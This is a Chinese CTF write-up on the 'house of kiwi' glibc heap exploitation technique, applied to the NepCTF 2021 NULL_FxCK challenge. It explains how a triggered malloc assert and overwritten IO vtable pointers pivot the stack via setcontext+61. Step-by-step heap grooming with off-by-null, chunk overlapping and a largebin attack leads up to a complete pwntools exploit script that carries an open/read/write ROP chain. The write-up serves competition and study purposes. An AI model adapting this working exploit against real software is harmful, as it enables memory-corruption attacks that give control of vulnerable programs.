house of kiwi
[TOC] 参考文章 例题讲解 例题讲解 _IO_file_jumps中的_IO_file_sync
前言
加沙盒的题目,在2.29之后的堆题中,通常为以下两种方式
- 劫持__free_hook,利用特定的gadget,将栈进行迁移
- 劫持__malloc_hook为setcontext+61的gadget,以及劫持IO_list_all单链表中的指针在exit结束中,在_IO_cleanup函数会进行缓冲区的刷新,从而读取flag 因为setcontext + 61从2.29之后变为由RDX寄存器控制寄存器了,所以需要控制RDX寄存器的指向的位置的部分数据
- 但是上述两种方法都有缺陷,如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup,上述方法就失效了。在glibc2.34移除了hook,上述方法也用不了。因此引入house of kiwi这种方法
<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>
<setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>: push rcx
<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
<setcontext+332>: xor eax,eax
<setcontext+334>: ret
最终效果就是就是rsp=rop_addr,rcx=ret_addr,然后push rcx ;ret那么就直接执行rop
核心
- 能够触发__malloc_assert,通常是堆溢出导致
- 能够任意写,修改_IO_file_sync和IO_helper_jumps + 0xA0 and 0xA8
- assret中fflush(stderr)的函数调用,其中会调用_IO_file_jumps中的sync指针
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
# define fflush(s) _IO_fflush (s)
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
- _IO_file_jumps源码
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
- fflush函数中调用到了一个指针位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址
- 如果存在一个任意写,通过修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61,修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移
一些小技巧
'''
pwndbg> p &_IO_file_jumps
$3 = (const _IO_jump_t *) 0x7ffff7dd24a0 <_IO_file_jumps>
pwndbg> p &_IO_helper_jumps
$4 = (const _IO_jump_t *) 0x7ffff7dd1960 <_IO_helper_jumps>
'''
libc2.32
io_file_jumps = libc_base+0x1E54C0 #_IO_file_jumps可以直接ida查找text找到
io_helper_jumps = libc_base+0x1E48C0 #这个libc文件中ida里面没有符号表,但是是__libc_IO_vtables段的第一个就是它
setcontext_addr = libc_base+libc.sym['setcontext']+61 #setcontext是有符号表的
tls = libc_base+0x1eb538
'''
pwndbg> search -p 0x55555555b010 0x55555555b010这个值实际上是heapbase+0x10
Searching for value: b'\x10\xb0UUUU\x00\x00'
pwn 0x555555558260 0x55555555b010
[anon_7ffff7fc2] 0x7ffff7fc7538 0x55555555b010
pwndbg> hex 0x7ffff7fc7538-0x7ffff7ddc000
+0000 0x1eb538
'''
例题 NepCTF 2021 NULL_FxCK
- 题目解析
- add的截断,因为这个截断让泄露heapbase非常困难 len = read(0, v4, size); // 读入字符串的len要大于0 if ( len <= 0 ) _exit(1); chunk[len - 1] = 0;
- 题目中free禁止了UAF
- edit只能执行一次并且存在off_by_null 一般没有uaf的泄露基本都要通过off-by-one来进行chunk overlapping进入unsorted bin才能进行show函数,不然chunklist对应的位置为0,根本无法进行show函数
- 细节阐述
- 泄露libcbase,heapbase,本来利用largebin泄露这两个是很简单的事,因为add的截断变得非常困难。这里要利用off-by-one来overlapping得到一个很大的chunk,让其进入unsorted bin,这样就存在一些chunk在chunklist中存在并且fd为libcbase,heapbase
- 继续阐述泄露时的一些细节,因为unlink时会进行prev_size和unlink的chunk的size的检查,所以要修改ck3的size的值,修改很容易,直接切割unsorted bin就行了,但是这导致了一个新的问题,add(0x440,b’a’*0x428+p64(0xc91))让ck0,ck5进入largebin,因为这一步让ck0->bk,ck5->fd改变了,但是ck3->fd=cl0,ck3->bk=ck5,unlink ck3会受到影响,因此要修复ck0->bk,ck5->fd
- 这里的修复是通过chunk进入unsortedbin和largebin会自动修改fd,bk来实现。这里有个超级超级细节的地方,就是利用add的截断,这里专门让ck3对应的堆地址以\x00结尾,这样就可以通过覆盖最低一个字节为\x00,正好修改ck0->bk,ck5->fd为ck3,而且注意/部分(ck3)/,是由unsorted bin切割得到的,其与ck3并不相等!!!,但是把它的最低字节覆盖为\x00刚好是ck3,具体怎么做见wp
- free(ck7)就会unlink被修改了size后的ck3,然后整个进入unsorte bin。注意这整个overlapping chunk各个chunk的堆结构都是对的,但是因为是被包含的overlapping chunk,所以pwndbg的heap不会显示它们。在ck4的fd指针上布局main_arena。不过一开始的main_arena应该是以’\x00’结尾的,还是不能泄露。通过add一个大堆块放入largebin就好了,这样show(4)就能够泄露libc了,show(5)泄露的肯定就是ck0的堆地址
add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck5->ck3->ck0
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#ub: 2,3->5->0
#修改ck3的size域
'''因为这一步让ck0->bk,ck5->fd改变了,对unlink会造成影响'''
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+极小部分(ck3) largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5 bins为空
#修复ck0->bk
delete(3)# ck0
delete(2)# 部分(ck3) unsortedbin: 部分(ck3)->ck0
'''一开始malloc时刚好控制ck3的末尾为\x00,然后ck0->bk=部分(ck3),然后bk的最低字节又被覆盖为\x00'''
add(0x418,b'a'*0x9)#2 ck0修复fwd->bk
add(0x418)#3 部分(ck3)
#修复ck5->fd
delete(3)# 部分(ck3)
delete(5)# ck5 unsortebin: ck5->部分(ck3)
add(0x9f8)#3 ck7 largebin:ck5->部分(ck3) 此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd,与上面修复很类似
# off by bull
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')
#清空largebin
add(0x418)#7 部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9 largebin: 0x1251 ck4是整个chunk的起点
- 泄露完libcbase,heapbase笔者认为基本完成了一大半,因为剩下的基本就是套模板,必要的时候进行一下偏移的计算。找一个可控的堆地址写入rop,重点说一下largebin attack的一些细节。这里有个很难受的地方在于无法edit,但是注意之前的overlapping chunk,通过del它再add就可以实现等同于edit的功能,但是要注意不要破坏其他chunk的各个数据。还有个细节就是下面的三行文字,不多说了
# largebin_attack
add(0x418)#11 ck11
add(0x208)#12 ck12
delete(5)# ck5 0x431
'''这里因为没有edit,所以只能把overlapping chunk free之后再add实现edit功能'''
delete(4)# ck4 0x1251 ck5位于ck4内部 largebin 指向自己ck5 目的地址
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
delete(11)# ck11 unsortedbin[0x418] largebin[0x431]
add(0x500)#5 ck13 触发largebin_attack:tls->ck11
'''这里当时想了很久,因为largebin:ck5->ck11,因为想要把ck5给malloc出来,要先把ck11给malloc出来
malloc(0x410)将ck11再次malloc出来,largebin为了维护自身,会让ck5->fd_nextsize,ck5->bk_nextsize=ck5
所以就实现了tls->ck5
'''
add(0x410)#11 ck11 unlink_chunk tls->ck5
#修复ck5,准备将其malloc出来
delete(4)# 0x1240
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
- 最后才是house of kiwi的利用,单纯利用这个实在是太简单不过,注意这个tls其实原本就是heapbase+0x10,怎么设置就按照tcache_perthread_struct设置就行。io_file_jumps+0x60设置为setcontext_addr,io_helper_jumps+0xa0 and 0xa8设置为rop_addr,ret_addr,最后触发assert。这里触发assert的方式是add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域,然后当top_chunk的大小不够分配时,则会进入sysmalloc中,sysmalloc会检查top chunk的prev_inuse。
# 劫持TLS,注意heap_base+0x1350的header无法控制,也就是前0x10无法控制,这里要注意偏移计算
tls_struct = b'\x01'*0x70
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0) #heap_base+0x46f0刚好是top chunk对应的位置
add(0x420,tls_struct)#4 ck5 tls
add(0x100,p64(setcontext_addr))#SYNC
add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域 触发assert
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))
- 完整wp
from pwn import *
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
binary = '/home/zp9080/PWN/pwn'
r = process(binary)
# r=gdb.debug(binary,'b*$rebase(0x1133)')
elf = ELF(binary)
libc = elf.libc
def add(size=0x108,payload=b'/bin/sh\x00'):#32
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(size))
r.sendafter("(: Content: ",payload)
def edit(index,payload):
r.sendlineafter(">> ",'2')
r.sendlineafter("Index: ",str(index))
r.sendafter("Content: ",payload)
def delete(index):
r.sendlineafter(">> ",'3')
r.sendlineafter("Index: ",str(index))
def show(index):
r.sendlineafter(">> ",'4')
r.sendlineafter("Index: ",str(index))
return u64(r.recv(6).ljust(8,b'\x00'))
def dbg():
gdb.attach(r,'b*$rebase(0x1133)')
pause()
add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck5->ck3->ck0
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#ub: 2,3->5->0
#修改ck3的size域
''''因为这一步让ck0->bk,ck5->fd改变了,对unlink会造成影响'''
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+极小部分(ck3) largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5 bins为空
#修复ck0->bk
delete(3)# ck0
delete(2)# 部分(ck3) unsortedbin: 部分(ck3)->ck0
'''一开始malloc时刚好控制ck3的末尾为\x00,然后ck0->bk=部分(ck3),然后bk的最低字节又被覆盖为\x00'''
add(0x418,b'a'*0x9)#2 ck0修复fwd->bk
add(0x418)#3 部分(ck3)
#修复ck5->fd
delete(3)# 部分(ck3)
delete(5)# ck5 unsortebin: ck5->部分(ck3)
add(0x9f8)#3 ck7 largebin:ck5->部分(ck3) 此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd,与上面修复很类似
# off by bull
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')
#清空largebin
add(0x418)#7 部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9 largebin: 0x1251 ck4是整个chunk的起点
libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
heap_base = show(5)-0x2b0
#_IO_file_jumps可以直接查找text找到
io_file_jumps = libc_base+0x1E54C0
io_helper_jumps = libc_base+0x1E48C0
setcontext_addr = libc_base+libc.sym['setcontext']+61
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
pop_rdi_ret = libc_base+0x000000000002858f
pop_rsi_ret = libc_base+0x000000000002ac3f
pop_rdx_r12_ret = libc_base+0x0000000000114161
ret_addr = libc_base+0x0000000000026699
# rop_chain ck2+极小部分ck3
rop_addr = heap_base+0x8e0
flag_addr = heap_base+0x8e0+0x100
rop_chain = flat([
pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
pop_rdi_ret,1,write_addr
]).ljust(0x100,b'\x00')+b'flag\x00'
tls = libc_base+0x1eb538
add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
#其实这里只要任意找到一个可以控制的堆地址就可以
delete(0)# ck2+极小部分ck3 0x451
add(0x440,rop_chain)#0 ck2+部分(ck3) 写入ROP链
# largebin_attack
add(0x418)#11 ck11
add(0x208)#12 ck12
delete(5)# ck5 0x431
'''这里因为没有edit,所以只能把overlapping chunk free之后再add实现edit功能'''
delete(4)# ck4 0x1251 ck5位于ck4内部 largebin 指向自己ck5 目的地址
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
delete(11)# ck11 unsortedbin[0x418] largebin[0x431]
add(0x500)#5 ck13 触发largebin_attack:tls->ck11
'''这里当时想了很久,因为largebin:ck5->ck11,因为想要把ck5给malloc出来,要先把ck11给malloc出来
malloc(0x410)将ck11再次malloc出来,largebin为了维护自身,会让ck5->fd_nextsize,ck5->bk_nextsize=ck5
所以就实现了tls->ck5
'''
add(0x410)#11 ck11 unlink_chunk tls->ck5
#修复ck5,准备将其malloc出来
delete(4)# 0x1240
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
# 劫持TLS,注意heap_base+0x1350的header无法控制,也就是前0x10无法控制,这里要注意偏移计算
tls_struct = b'\x01'*0x70
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0) #heap_base+0x46f0刚好是top chunk对应的位置
add(0x420,tls_struct)#4 ck5 tls
add(0x100,p64(setcontext_addr))#SYNC
add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域 触发assert
success(hex(tls))
success("heap_base -> "+hex(heap_base))
success("libc_base -> "+hex(libc_base))
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))
r.interactive()